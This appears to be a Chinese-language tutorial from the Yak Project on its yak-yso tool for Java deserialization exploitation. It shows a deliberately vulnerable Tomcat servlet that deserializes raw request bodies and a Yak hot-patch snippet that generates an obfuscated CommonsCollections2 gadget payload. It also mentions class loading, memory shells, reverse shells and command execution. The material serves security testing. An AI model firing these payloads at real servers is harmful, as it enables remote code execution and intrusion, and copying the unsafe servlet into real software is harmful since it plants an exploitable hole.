跳到主要内容

Java 安全:Yak-yso 反序列化利用常见问题解析

· 阅读需 4 分钟
Yak Project
网络安全垂直语言团队

一直以来,yso 作为 JAVA 安全领域比较出名的工具,受到广大的好评价,Yak 内也集成了 yso 部分,下面进行针对性介绍。

常见问题解决

JAVA版本问题

有同学常常使用yak-yso生成的时候,不关注java版本而使用了默认的(默认52也就是JDK1.8),会导致有些情况下,某些链子打不通的情况。(原因是:当版本进行升级的时候,有些内置函数、方法、接口都会做出改变)

Yak-yso

介绍

yak-yso中内置了两种模式的反序列化链(漏洞点为反序列化的漏洞。以shiro为例)恶意类加载(漏洞点为类加载的漏洞。这里就以fastjson为例)

而yak-yso还可以yak中的反连平台webFuzzer进行同步使用

下面就用一个小的靶场demo来进行简单说明

反序列化链_

测试环境

1)启动tomcat
2)导入maven(需要导入cc依赖)
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
3)编写一个入口,如下 大致的意思为 request body的内容进行反序列化

package com.example.Controller;

import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;
import java.io.IOException;
import java.io.ObjectInputStream;

@WebServlet(name = "HelloServlet", value = "/api/HelloServlet")
public class HelloServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
ObjectInputStream objectInputStream = new ObjectInputStream(request.getInputStream());
try {
objectInputStream.readObject();
} catch (ClassNotFoundException e) {
throw new RuntimeException(e);
} finally {
objectInputStream.close();
}
}

@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
response.getWriter().write("hello");
}
}

Yak-yso-attack

具体使用:

这里就以urldns为例,使用yak-yso生成cc2-dnslog,我们可以配合yak中内置的dnslog来进行测试。我们发送数据包就可以成功进行复现。如图

这里不仅限于使用dnslog,还可以启动反连服务器来进行漏洞验证。

内存加载恶意类

我们可以通过TemplateImplClassloader来进行类的内存加载,我们可以通过yak-yso不使用调用链的模式来生成恶意类,然后通过反序列化链进行加载,同时我们也可以生成通过类加载来注入内存马。

当进行类加载的时候,java默认同一类加载一次,而yak-yso生成时候是同名的,所以有可能会出现二次加载不成功的问题,所以,类加载的时候要时刻注意名称的问题。

我们这里以加载恶意类为例,可以用yso来生成恶意类,以RuntimeExec为例,输出为base64

我们在选择利用链,使用cc2-->TemplateImplClassLoader 将base64恶意类填入生成hex然后发包即可。

和webfuzzer进行联动

上面每次发送都需要 生成-->填入参数-->..... 每次都需要经历重复性的操作,是非常繁琐的。可以使用web-fuzzer的热加载来完成。

热加载文档(https://yaklang.io/products/Web%20Fuzzer/fuzz-hotpatch)

我们只需要在热加载中用yak语言来进行编写代码即可。

当返回是一个数组的时候, Web Fuzzer 会将数组中的每一个元素都作为值去发包。所以要转成hex然后再进行解码

handle = func(domain) {    gadgetObj = yso.GetGadget("CommonsCollections2",yso.useTemplate("DNSLog"),yso.obfuscationClassConstantPool(),yso.evilClassName("AaZszFvX"),yso.majorVersion(52),yso.useClassParam("domain",domain))~gadgetBytes = yso.ToBytes(gadgetObj,yso.dirtyDataLength(0))~return codec.EncodeToHex(gadgetBytes)}

还能做什么?

  • shiro漏洞修改max-header(使用yak-yso中ModifyTomcatMaxHeaderSize来填入要修改header头的大小来进行修改)
  • 反弹shell(yak-yso中tcp-reverse)
  • 命令执行

本文首发于 Yak Project 公众号,阅读原文